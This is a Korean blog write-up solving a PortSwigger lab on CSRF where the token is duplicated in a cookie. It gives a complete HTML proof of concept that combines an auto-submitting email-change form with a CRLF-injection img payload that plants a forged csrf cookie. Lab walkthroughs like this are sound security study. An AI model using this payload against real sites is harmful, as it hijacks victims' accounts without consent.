WEB hacking/PortSwigger

Lab: CSRF where token is duplicated in cookie 문제 풀이(WriteUp)

Roronoa 2025. 6. 13. 14:06
반응형

문제 설명

CSRF 공격을 통해 사용자의 email을 변경하면 문제를 해결할 수 있다.

문제 설명

문제 풀이

wiener 계정으로 로그인한 상태에서 이메일 변경 요청을 진행하였다.

My Account 페이지

 

 

이메일 변경 요청 시 csrf 쿠키와 요청 파라미터의 csrf 값이 일치하는 것을 확인하였다.

csrf 쿠키, csrf 파라미터 값 일치

 

csrf 쿠키와 csrf 파라미터의 값을 모두 1로 변조한 후 요청을 수행하였으며, 해당 요청이 정상적으로 처리되는 것을 확인하였다.

csrf 쿠키 및 csrf 파라미터 변조 후 요청

 

해당 웹 페이지에서 검색 기능이 존재하며, 검색을 진행하였다.

검색 기능

 

검색 기능에서 사용자가 입력한 검색어가 응답에 반영되는 것을 확인하였다. CRLF 인젝션을 통해 사용자가 임의의 HTTP 헤더 삽입이 가능하며, Set-Cookie 헤더를 이용하여 csrf 쿠키 임의로 지정하는 것이 가능하였따.

CRLF 공격을 통한 HTTP 헤더 삽입

 

CSRF POC

먼저 img src 속성에 CRLF 인젝션 공격 구문을 삽입하여 csrf 쿠키에 임의의 값을 설정하였으며, SameSite=None 속성을 추가하여 크로스 도메인 요청에서도 쿠키가 전송되도록 허용하였다. 이후 onerror 이벤트가 실행되어 CSRF 공격이 발생하여 사용자의 이메일을 변경한다.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7d007004b647f9d86a499f00d900f6.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener1234&#64;normal&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="1" />
      <input type="submit" value="Submit request" />
    </form>

    <img src="https://0a7d007004b647f9d86a499f00d900f6.web-security-academy.net/?search=asdasd;%0d%0aSet-Cookie:%20csrf=1;%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

 

CSRF POC를 전송하여 문제를 해결하였다.

문제 해결

반응형